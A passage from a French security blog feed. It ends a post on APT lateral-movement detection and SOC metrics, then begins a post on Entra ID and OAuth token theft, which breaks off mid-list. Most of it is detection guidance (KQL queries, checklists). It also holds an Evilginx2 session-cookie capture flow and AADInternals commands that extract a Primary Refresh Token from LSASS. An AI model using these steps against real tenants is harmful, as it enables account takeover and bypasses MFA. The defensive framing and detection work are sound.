plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    t_lateral </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> evenements_lateraux</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">iloc</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token number" style="color:hsl(212, 92%, 35%)">0</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string" style="color:hsl(139, 66%, 32%)">'timestamp'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">return</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token string" style="color:hsl(139, 66%, 32%)">'minutes_evasion'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">t_lateral </span><span class="token operator" style="color:hsl(212, 92%, 35%)">-</span><span class="token plain"> t_acces</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">total_seconds</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"> </span><span class="token operator" style="color:hsl(212, 92%, 35%)">/</span><span class="token plain"> </span><span class="token number" style="color:hsl(212, 92%, 35%)">60</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token string" style="color:hsl(139, 66%, 32%)">'hote_source'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> hote_source</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token string" style="color:hsl(139, 66%, 32%)">'premier_hote_lateral'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> evenements_lateraux</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">iloc</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token number" style="color:hsl(212, 92%, 35%)">0</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string" style="color:hsl(139, 66%, 32%)">'hote'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">}</span><br></span></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="les-trois-métriques-soc-directement-liées">Les Trois Métriques SOC Directement Liées<a href="https://inferencedefense.com/fr/blog/apt-acces-initial-vers-domination-domaine-4-heures#les-trois-m%C3%A9triques-soc-directement-li%C3%A9es" class="hash-link" aria-label="Direct link to Les Trois Métriques SOC Directement Liées" title="Direct link to Les Trois Métriques SOC Directement Liées" translate="no">​</a></h3>
<p><strong>1. MTTD pour les précurseurs de mouvement latéral</strong></p>
<p>Pas le MTTD générique malware  spécifiquement : temps depuis le premier timestamp de balise C2 jusqu'à la première prise en charge humaine de l'intrusion active.</p>
<p><strong>2. Écart alerte-vers-confinement</strong></p>
<!-- -->
<p>La majorité de l'écart n'est pas du temps d'investigation  c'est du <strong>temps d'approbation</strong>. L'automatisation du confinement sur des événements spécifiques à haute confiance (balise C2 confirmée, dump LSASS confirmé, DCSync confirmé) élimine la latence d'approbation pour les déclencheurs de plus haute sévérité.</p>
<p><strong>3. Taux de couverture des points de contrôle de détection</strong></p>
<table><thead><tr><th>Point de Contrôle</th><th>Objectif de Couverture</th></tr></thead><tbody><tr><td>Point 3  Extraction d'identifiants</td><td>100%</td></tr><tr><td>Point 2  Collecte BloodHound</td><td>80%</td></tr><tr><td>Point 1  Beaconing C2</td><td>60%</td></tr></tbody></table>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="construire-le-dossier-dinvestissement">Construire le Dossier d'Investissement<a href="https://inferencedefense.com/fr/blog/apt-acces-initial-vers-domination-domaine-4-heures#construire-le-dossier-dinvestissement" class="hash-link" aria-label="Direct link to Construire le Dossier d'Investissement" title="Direct link to Construire le Dossier d'Investissement" translate="no">​</a></h3>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">État actuel :</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  Temps d'évasion médian (interne) :      47 minutes</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  Écart alerte-vers-confinement actuel :   4,5 heures</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  Écart de couverture :                   −4 heures 13 minutes</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  Probabilité de contenir avant accès DA : ~0%</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Avec confinement automatisé pour les événements du Point 3 :</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  Écart alerte-vers-confinement (auto) :   4 minutes</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  Écart de couverture :                   +43 minutes</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  Probabilité de contenir avant accès DA : ~85% (estimé)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Investissement requis :</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  - Développement playbooks SOAR :    40 heures ingénierie</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  - Changements processus d'approbation : validation gouvernance</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  - Exercices de validation trimestriels : 2 jours/trimestre</span><br></span></code></pre></div></div>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="résumé--la-liste-de-contrôle-opérationnelle">Résumé : La Liste de Contrôle Opérationnelle<a href="https://inferencedefense.com/fr/blog/apt-acces-initial-vers-domination-domaine-4-heures#r%C3%A9sum%C3%A9--la-liste-de-contr%C3%B4le-op%C3%A9rationnelle" class="hash-link" aria-label="Direct link to Résumé : La Liste de Contrôle Opérationnelle" title="Direct link to Résumé : La Liste de Contrôle Opérationnelle" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="actions-immédiates-cette-semaine">Actions immédiates (cette semaine)<a href="https://inferencedefense.com/fr/blog/apt-acces-initial-vers-domination-domaine-4-heures#actions-imm%C3%A9diates-cette-semaine" class="hash-link" aria-label="Direct link to Actions immédiates (cette semaine)" title="Direct link to Actions immédiates (cette semaine)" translate="no">​</a></h3>
<ul>
<li class="">Activer la journalisation diagnostique LDAP Event ID 1644 sur tous les DCs</li>
<li class="">Activer <code>Audit Directory Service Access</code> pour les événements de succès sur les DCs</li>
<li class="">Déployer la règle Sigma DCSync  zéro faux positif dans les environnements standard</li>
<li class="">Ajouter la détection de création de processus <code>comsvcs.dll MiniDump</code>  aucun cas légitime connu</li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="actions-à-30-jours">Actions à 30 jours<a href="https://inferencedefense.com/fr/blog/apt-acces-initial-vers-domination-domaine-4-heures#actions-%C3%A0-30-jours" class="hash-link" aria-label="Direct link to Actions à 30 jours" title="Direct link to Actions à 30 jours" translate="no">​</a></h3>
<ul>
<li class="">Établir une base de référence des taux LDAP par poste source pour activer la détection BloodHound</li>
<li class="">Exécuter BloodHound contre votre propre environnement  énumérer tous les chemins vers DA</li>
<li class="">Identifier tous les comptes Kerberoastables et migrer vers gMSA ou mots de passe aléatoires de 30+ caractères</li>
<li class="">Auditer <code>msDS-SupportedEncryptionTypes</code>  désactiver RC4 là où c'est possible</li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="trimestriel">Trimestriel<a href="https://inferencedefense.com/fr/blog/apt-acces-initial-vers-domination-domaine-4-heures#trimestriel" class="hash-link" aria-label="Direct link to Trimestriel" title="Direct link to Trimestriel" translate="no">​</a></h3>
<ul>
<li class="">Exécuter SharpHound dans votre environnement et vérifier que votre détection se déclenche</li>
<li class="">Exécuter un dump comsvcs.dll contre un hôte de test et vérifier que votre SIEM alerte</li>
<li class="">Simuler un DCSync depuis un hôte non-DC et vérifier que votre alerte 4662 se déclenche</li>
<li class="">Mesurer votre écart alerte-vers-confinement sur les 5 derniers incidents réels</li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="le-changement-fondamental">Le Changement Fondamental<a href="https://inferencedefense.com/fr/blog/apt-acces-initial-vers-domination-domaine-4-heures#le-changement-fondamental" class="hash-link" aria-label="Direct link to Le Changement Fondamental" title="Direct link to Le Changement Fondamental" translate="no">​</a></h3>
<p>La détection construite autour d'une revue humaine dans la boucle ne peut pas suivre le rythme des temps d'évasion adversaires inférieurs à 60 minutes. L'architecture qui fonctionne :</p>
<blockquote>
<p><strong>Détection automatisée haute fidélité → confinement automatisé pour des événements déclencheurs spécifiques → revue humaine de la décision de confinement en parallèle, pas en série.</strong></p>
</blockquote>
<p>Les trois événements (DCSync, MiniDump comsvcs, balise C2 confirmée) ont des taux de faux positifs quasi nuls lorsqu'ils sont correctement ajustés. Le confinement automatisé sur ces événements génèrera presque aucun isolement incorrect tout en comprimant drastiquement votre fenêtre d'exposition.</p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="références-et-lectures-complémentaires">Références et Lectures Complémentaires<a href="https://inferencedefense.com/fr/blog/apt-acces-initial-vers-domination-domaine-4-heures#r%C3%A9f%C3%A9rences-et-lectures-compl%C3%A9mentaires" class="hash-link" aria-label="Direct link to Références et Lectures Complémentaires" title="Direct link to Références et Lectures Complémentaires" translate="no">​</a></h2>
<ul>
<li class="">CrowdStrike 2024 Global Threat Report  statistiques de temps d'évasion, méthodologie eCrime</li>
<li class="">DFIR Report (dfirreport.com)  chronologies d'intrusions complètes avec télémétrie brute et IOCs</li>
<li class="">MITRE ATT&amp;CK T1021.003 (mouvement latéral DCOM)  procédures adversaires documentées</li>
<li class="">Documentation BloodHound Harmj0y  chemins d'abus ACL et méthodologie d'énumération</li>
<li class="">SysWhispers2/3 GitHub  référence d'implémentation des syscalls directs</li>
<li class="">Elastic Security Labs  méthodologie de détection d'infrastructure basée sur JARM</li>
<li class="">Microsoft MSDN  documentation des champs Event ID 4662, 4769, 1644</li>
<li class="">Impacket GitHub  implémentation de référence PTH, DCSync, DCOM</li>
</ul>
<hr>
<p><em>Toutes les commandes et le code dans cet article décrivent des techniques d'attaquants documentées dans des rapports DFIR publics et des recherches académiques. Ils sont présentés uniquement à des fins de détection défensive. L'exécution de ces techniques contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite explicite est illégale.</em></p>]]></content:encoded>
            <category>renseignement-menaces</category>
            <category>active-directory</category>
            <category>mouvement-lateral</category>
            <category>ingenierie-detection</category>
            <category>reponse-incidents</category>
            <category>cobalt-strike</category>
            <category>kerberoasting</category>
            <category>dcsync</category>
        </item>
        <item>
            <title><![CDATA[Comment les Attaquants Abusent d'Entra ID & OAuth Sans Malware]]></title>
            <link>https://inferencedefense.com/fr/blog/comment-les-attaquants-abusent-entra-id-oauth-sans-malware</link>
            <guid>https://inferencedefense.com/fr/blog/comment-les-attaquants-abusent-entra-id-oauth-sans-malware</guid>
            <pubDate>Fri, 17 Apr 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Techniques exactes utilisées par les acteurs malveillants pour compromettre Entra ID et OAuth sans malware  vol de token, phishing device code, abus de consentement  avec détections KQL.]]></description>
            <content:encoded><![CDATA[<blockquote>
<p><strong>Pour qui :</strong> Les analystes sécurité qui veulent comprendre les mécaniques d'attaque précises, et les RSSI qui ont besoin de savoir pourquoi leur EDR leur donne une fausse confiance face à cette classe de menaces. Chaque technique présentée ici a été observée dans des intrusions réelles  pas de théorie creuse.</p>
</blockquote>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="la-vérité-inconfortable-sur-les-attaques-didentité-modernes">La Vérité Inconfortable sur les Attaques d'Identité Modernes<a href="https://inferencedefense.com/fr/blog/comment-les-attaquants-abusent-entra-id-oauth-sans-malware#la-v%C3%A9rit%C3%A9-inconfortable-sur-les-attaques-didentit%C3%A9-modernes" class="hash-link" aria-label="Direct link to La Vérité Inconfortable sur les Attaques d'Identité Modernes" title="Direct link to La Vérité Inconfortable sur les Attaques d'Identité Modernes" translate="no">​</a></h2>
<p><strong>Votre EDR est aveugle à la plupart de ces attaques.</strong></p>
<p>Quand un acteur malveillant vole un token OAuth valide et se déplace latéralement dans votre tenant Microsoft 365, aucun malware n'est déposé, aucun exploit ne se déclenche, aucun processus suspect ne s'exécute. L'attaquant ressemble exactement à un utilisateur légitime  parce que pour chaque contrôle de sécurité surveillant les comportements, il en est un. Il s'est authentifié avec succès. Il dispose d'une session valide. Il est à l'intérieur.</p>
<p>C'est la caractéristique fondamentale de la surface d'attaque identitaire moderne : l'arme, c'est l'authentification elle-même.</p>
<p>Au cours des trois dernières années, les attaques sur Entra ID (anciennement Azure Active Directory) et la couche OAuth 2.0 qui le recouvre sont devenues le vecteur d'accès initial dominant dans les intrusions en entreprise. La violation de Microsoft en 2024 par Midnight Blizzard, l'intrusion chez Cloudflare, des dizaines de campagnes de ransomware  elles ont toutes commencé non pas par un zero-day ou une pièce jointe malveillante, mais par une compromission de la couche identité que les contrôles existants n'étaient tout simplement pas conçus pour détecter.</p>
<p>Cet article décrit exactement comment ces attaques fonctionnent, ce que voit l'attaquant, quelle télémétrie existe pour les détecter, et quels contrôles actionnables réduisent votre exposition. Nous allons en profondeur.</p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="section-1--vol-de-token-et-détournement-de-session--lattaque-que-votre-edr-ne-peut-pas-voir">Section 1 : Vol de Token et Détournement de Session  L'Attaque que Votre EDR Ne Peut Pas Voir<a href="https://inferencedefense.com/fr/blog/comment-les-attaquants-abusent-entra-id-oauth-sans-malware#section-1--vol-de-token-et-d%C3%A9tournement-de-session--lattaque-que-votre-edr-ne-peut-pas-voir" class="hash-link" aria-label="Direct link to Section 1 : Vol de Token et Détournement de Session  L'Attaque que Votre EDR Ne Peut Pas Voir" title="Direct link to Section 1 : Vol de Token et Détournement de Session  L'Attaque que Votre EDR Ne Peut Pas Voir" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="ce-quest-réellement-un-token">Ce qu'est Réellement un Token<a href="https://inferencedefense.com/fr/blog/comment-les-attaquants-abusent-entra-id-oauth-sans-malware#ce-quest-r%C3%A9ellement-un-token" class="hash-link" aria-label="Direct link to Ce qu'est Réellement un Token" title="Direct link to Ce qu'est Réellement un Token" translate="no">​</a></h3>
<p>Avant de comprendre comment les tokens sont volés, vous devez comprendre ce qui les rend précieux.</p>
<p>Quand un utilisateur s'authentifie sur Microsoft 365, Entra ID émet plusieurs tokens :</p>
<ul>
<li class=""><strong>Access Token</strong>  un JWT de courte durée (typiquement 60–75 minutes) qui accorde l'accès à une ressource spécifique. Il contient les revendications d'identité de l'utilisateur, ses appartenances aux groupes, et l'application pour laquelle il a été émis.</li>
<li class=""><strong>Refresh Token</strong>  un identifiant de plus longue durée (jusqu'à 90 jours pour les sessions de navigateur persistantes) qui permet d'obtenir de nouveaux access tokens sans ré-authentification.</li>
<li class=""><strong>Primary Refresh Token (PRT)</strong>  un token lié à l'appareil, hautement privilégié, émis pour les machines jointes à Entra ID. Il peut générer des tokens pour n'importe quelle application à laquelle l'utilisateur a accès.</li>
</ul>
<p>Si un attaquant obtient un refresh token ou un PRT, il dispose d'un accès persistant à votre environnement qui survit aux réinitialisations de mot de passe.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="comment-les-access-tokens-sont-volés">Comment les Access Tokens Sont Volés<a href="https://inferencedefense.com/fr/blog/comment-les-attaquants-abusent-entra-id-oauth-sans-malware#comment-les-access-tokens-sont-vol%C3%A9s" class="hash-link" aria-label="Direct link to Comment les Access Tokens Sont Volés" title="Direct link to Comment les Access Tokens Sont Volés" translate="no">​</a></h3>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="vol-via-extensions-malveillantes-ou-xss">Vol via Extensions Malveillantes ou XSS<a href="https://inferencedefense.com/fr/blog/comment-les-attaquants-abusent-entra-id-oauth-sans-malware#vol-via-extensions-malveillantes-ou-xss" class="hash-link" aria-label="Direct link to Vol via Extensions Malveillantes ou XSS" title="Direct link to Vol via Extensions Malveillantes ou XSS" translate="no">​</a></h4>
<p>Le chemin le plus courant. Quand un utilisateur s'authentifie sur Microsoft 365 via un navigateur, les tokens sont stockés dans l'IndexedDB ou le stockage de session du navigateur. Une extension Chrome malveillante disposant des permissions de stockage peut les énumérer et les exfiltrer silencieusement.</p>
<p>L'attaquant n'a rien à déchiffrer. Le token est valide, signé par Microsoft, et totalement légitime.</p>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="phishing-adversary-in-the-middle-aitm">Phishing Adversary-in-the-Middle (AiTM)<a href="https://inferencedefense.com/fr/blog/comment-les-attaquants-abusent-entra-id-oauth-sans-malware#phishing-adversary-in-the-middle-aitm" class="hash-link" aria-label="Direct link to Phishing Adversary-in-the-Middle (AiTM)" title="Direct link to Phishing Adversary-in-the-Middle (AiTM)" translate="no">​</a></h4>
<p>Des outils comme Evilginx2 et Muraena agissent comme des proxies inverses entre la victime et la véritable page de connexion Microsoft. La victime voit la vraie interface de connexion Microsoft, complète le MFA, et le proxy capture le cookie de session post-authentification.</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Phishlet Evilginx2 ciblant Microsoft 365 (flux simplifié)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># L'attaquant héberge un proxy inverse sur un domaine contrôlé</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># La victime visite : login.domaine-attaquant.com</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Le proxy transfère vers : login.microsoftonline.com</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># La victime s'authentifie, complète le MFA</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Evilginx capture le cookie de session (estsauth, estsauthpersistent)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># L'attaquant importe le cookie :</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># 1. Ouvre Chrome DevTools</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># 2. Importe le cookie capturé dans le stockage du navigateur</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># 3. Visite portal.office.com  authentifié en tant que victime, sans MFA demandé</span><br></span></code></pre></div></div>
<p>C'est pourquoi le MFA seul n'est pas une protection suffisante. L'attaquant ne contourne pas le MFA  il vole le résultat d'un flux MFA complété.</p>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="vol-de-prt-depuis-les-appareils-joints-à-entra-id">Vol de PRT depuis les Appareils Joints à Entra ID<a href="https://inferencedefense.com/fr/blog/comment-les-attaquants-abusent-entra-id-oauth-sans-malware#vol-de-prt-depuis-les-appareils-joints-%C3%A0-entra-id" class="hash-link" aria-label="Direct link to Vol de PRT depuis les Appareils Joints à Entra ID" title="Direct link to Vol de PRT depuis les Appareils Joints à Entra ID" translate="no">​</a></h4>
<p>Le Primary Refresh Token réside dans le processus Windows LSASS sur les machines jointes au domaine. Un attaquant disposant des droits d'administrateur local peut utiliser des outils comme ROADtoken ou AADInternals pour l'extraire et l'utiliser.</p>
<div class="language-powershell codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-powershell codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Utilisation d'AADInternals pour extraire le PRT d'un appareil joint (nécessite admin local)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Import-Module AADInternals</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Extraire le PRT et la clé de session depuis LSASS</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">$prt = Get-AADIntUserPRTToken</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Utiliser le PRT pour générer un nouveau access token pour n'importe quelle ressource</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">$token = Get-AADIntAccessTokenForAzureCoreManagement -PRTToken $prt</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># À partir d'ici, l'attaquant peut accéder à n'importe quelle ressource Microsoft</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># pour laquelle l'utilisateur est autorisé  SharePoint, Exchange, Teams, Azure</span><br></span></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="ce-quil-faut-rechercher-dans-les-journaux">Ce qu'il Faut Rechercher dans les Journaux<a href="https://inferencedefense.com/fr/blog/comment-les-attaquants-abusent-entra-id-oauth-sans-malware#ce-quil-faut-rechercher-dans-les-journaux" class="hash-link" aria-label="Direct link to Ce qu'il Faut Rechercher dans les Journaux" title="Direct link to Ce qu'il Faut Rechercher dans les Journaux" translate="no">​</a></h3>
<p>Quand un vol de token est en cours, les journaux de connexion de l'utilisateur légitime montreront une authentification réussie depuis son emplacement habituel, tandis que l'utilisation par l'attaquant apparaîtra comme des appels API ou des sessions de navigateur depuis des IPs inhabituelles  mais de manière cruciale, elles seront marquées comme réussies sans aucune authentification échouée.</p>
<p>Signaux clés dans les journaux de connexion Entra ID (<code>AADNonInteractiveUserSignInLogs</code>) :</p>
<div class="language-kusto codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-kusto codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">// KQL : Détecter la réutilisation de token depuis une IP anormale</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">AADNonInteractiveUserSignInLogs</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| where ResultType == 0  // réussi</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| summarize </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    IPs = make_set(IPAddress),</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    Locations = make_set(Location),</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    FirstSeen = min(TimeGenerated),</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    LastSeen = max(TimeGenerated)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    by UserPrincipalName, CorrelationId</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| where array_length(IPs) &gt; 2</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| where array_length(Locations) &gt; 1</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| project UserPrincipalName, IPs, Locations, FirstSeen, LastSeen</span><br></span></code></pre></div></div>
<div class="language-kusto codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-kusto codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">// KQL : Détection de voyage impossible (token utilisé depuis deux zones géographiques en moins d'1 heure)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">AADNonInteractiveUserSignInLogs</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| where ResultType == 0</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| project TimeGenerated, UserPrincipalName, IPAddress, Location</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| sort by UserPrincipalName, TimeGenerated asc</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| extend PrevTime = prev(TimeGenerated), PrevLocation = prev(Location), PrevUser = prev(UserPrincipalName)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| where UserPrincipalName == PrevUser</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| extend MinutesDelta = datetime_diff('minute', TimeGenerated, PrevTime)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| where MinutesDelta &lt; 60 and Location != PrevLocation</span><br></span></code></pre></div></div>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="section-2--phishing-device-code--lattaque-qui-contourne-tous-les-contrôles-mfa">Section 2 : Phishing Device Code  L'Attaque qui Contourne Tous les Contrôles MFA<a href="https://inferencedefense.com/fr/blog/comment-les-attaquants-abusent-entra-id-oauth-sans-malware#section-2--phishing-device-code--lattaque-qui-contourne-tous-les-contr%C3%B4les-mfa" class="hash-link" aria-label="Direct link to Section 2 : Phishing Device Code  L'Attaque qui Contourne Tous les Contrôles MFA" title="Direct link to Section 2 : Phishing Device Code  L'Attaque qui Contourne Tous les Contrôles MFA" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="pourquoi-cette-attaque-est-dévastatrice">Pourquoi Cette Attaque Est Dévastatrice<a href="https://inferencedefense.com/fr/blog/comment-les-attaquants-abusent-entra-id-oauth-sans-malware#pourquoi-cette-attaque-est-d%C3%A9vastatrice" class="hash-link" aria-label="Direct link to Pourquoi Cette Attaque Est Dévastatrice" title="Direct link to Pourquoi Cette Attaque Est Dévastatrice" translate="no">​</a></h3>
<p>Le phishing device code est sans doute la technique la plus dangereuse de cette catégorie parce qu'il :</p>
<ul>
